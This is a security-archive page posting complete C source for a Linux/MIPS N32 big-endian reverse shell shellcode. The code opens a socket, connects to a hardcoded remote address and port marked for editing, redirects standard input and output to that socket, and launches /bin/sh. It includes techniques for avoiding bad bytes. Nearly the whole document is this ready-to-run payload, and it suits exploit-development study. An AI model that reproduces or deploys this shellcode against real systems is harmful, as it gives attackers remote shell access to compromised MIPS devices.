what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/MIPS N32 MSB Reverse Shell Shellcode

Linux/MIPS N32 MSB Reverse Shell Shellcode
Posted Feb 18, 2022
Authored by Marco Ivaldi

Linux/MIPS N32 MSB reverse shell shellcode that showcases various techniques to avoid badchars.

tags | shell, shellcode
systems | linux
SHA-256 | b1b0100dc2ab1910886ea650ac52df457851a4b14a3d07a98e33678c077b6d6e

Linux/MIPS N32 MSB Reverse Shell Shellcode

Change Mirror Download
/*
* mips_n32_msb_linux_revsh.c - MIPS N32 MSB Linux reverse
* Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Basic MIPS N32 MSB Linux reverse shellcode, showcasing various
* techniques to avoid badchars.
*
* Cross-compile (https://buildroot.org/) with:
* $ mips64-linux-gcc -static mips_n32_msb_linux_revsh.c -o revsh
*
* Tested on Linux MIPS64 Cavium Octeon III. I placed the shellcode on the
* stack, because on my test device the .data section was not executable.
*
* Based on https://youtu.be/0-_Wtz5L9ZY by Evan Walls at tacnetsol.com.
*/

void main()
{
char sc[] =

// sub technique
"\x24\x0d\xff\xfa" // li $t1, -6
"\x01\xa0\x68\x27" // nor $t1, $zero # 5

// sock = socket(2, 2, 0)
"\x25\xa4\xff\xfd" // addiu $a0, $t1, -3 # 2
"\x25\xa5\xff\xfd" // addiu $a1, $t1, -3 # 2
"\x25\xa6\xff\xfb" // addiu $a2, $t1, -5 # 0
"\x24\x02\x17\x98" // li $v0, 0x1798 # socket (0x1798)
"\x01\x01\x01\x0c" // syscall 0x40404
"\x24\x50\x10\x10" // addiu $s0, $v0, 0x1010 # sock + 0x1010

// xor technique
"\x24\x0e\x21\x21" // li $t2, 0x2121

// connect(sock, {2, 0x5ac2, 0x5db8d822}, 16)
"\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock
"\x39\xcc\x21\x23" // xori $t0, $t2, 0x2123 # 2
"\xa7\xac\xff\xec" // sh $t0, -20($sp)
"\x24\x0c\x5a\xc2" // li $t0, 0x5ac2 # 23234 << XXX port
"\xa7\xac\xff\xee" // sh $t0, -18($sp)
"\x24\x0c\x5d\xb8" // li $t0, 0x5db8 # 93.184 << XXX ip1
"\xa7\xac\xff\xf0" // sh $t0, -16($sp)
"\x34\x0c\xd8\x22" // li $t0, 0xd822 # 216.34 << XXX ip2
"\xa7\xac\xff\xf2" // sh $t0, -14($sp)
"\x27\xa5\xff\xec" // addiu $a1, $sp, -20
"\x39\xc6\x21\x31" // xori $a2, $t2, 0x2131 # 16
"\x24\x02\x17\x99" // li $v0, 0x1799 # connect (0x1799)
"\x01\x01\x01\x0c" // .byte 0x01, 0x01, 0x01, 0x0c # syscall

// add overflow technique
"\x24\x0f\x7f\x7f" // li $t3, 0x7f7f

// dup2(sock, 0)
"\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock
"\x25\xe5\x80\x81" // addiu $a1, $t3, 0x8081 # 0
"\x24\x02\x17\x90" // dup2 (0x1790)
"\x01\x01\x01\x0c" // syscall 0x40404

// dup2(sock, 1)
"\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock
"\x25\xe5\x80\x82" // addiu $a1, $t3, 0x8082 # 1
"\x24\x02\x17\x90" // dup2 (0x1790)
"\x01\x01\x01\x0c" // syscall 0x40404

// dup2(sock, 2)
"\x26\x04\xef\xf0" // addiu $a0, $s0, -0x1010 # sock
"\x25\xe5\x80\x83" // addiu $a1, $t3, 0x8083 # 2
"\x24\x02\x17\x90" // dup2 (0x1790)
"\x01\x01\x01\x0c" // syscall 0x40404

// execve("/bin/sh", ["/bin/sh"], 0)
"\x3c\x0c\x2f\x62" // lui $t0, 0x2f62 # "/b"
"\x25\x8c\x69\x6e" // addiu $t0, 0x696e # "in"
"\xaf\xac\xff\xec" // sw $t0, -20($sp)
"\x3c\x0c\x2f\x73" // lui $t0, 0x2f73 # "/s"
"\x25\x8c\x68\x68" // addiu $t0, 0x6868 # "hh"
"\xaf\xac\xff\xf0" // sw $t0, -16($sp)
"\xa3\xa0\xff\xf3" // sb $zero, -13($sp) # NUL
"\x27\xa4\xff\xec" // addiu $a0, $sp, -20
"\xaf\xa4\xff\xf8" // sw $a0, -8($sp)
"\xaf\xa0\xff\xfc" // sw $zero, -4($sp)
"\x27\xa5\xff\xf8" // addiu $a1, $sp, -8
"\x28\x06\xff\xff" // slti $a2, $zero, -1 # 0 (slti technique)
"\x24\x02\x17\xa9" // li $v0, 0x17a9 # execve (0x17a9)
"\x01\x01\x01\x0c"; // syscall 0x40404

void (*f)() = (void *)sc;
f();
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close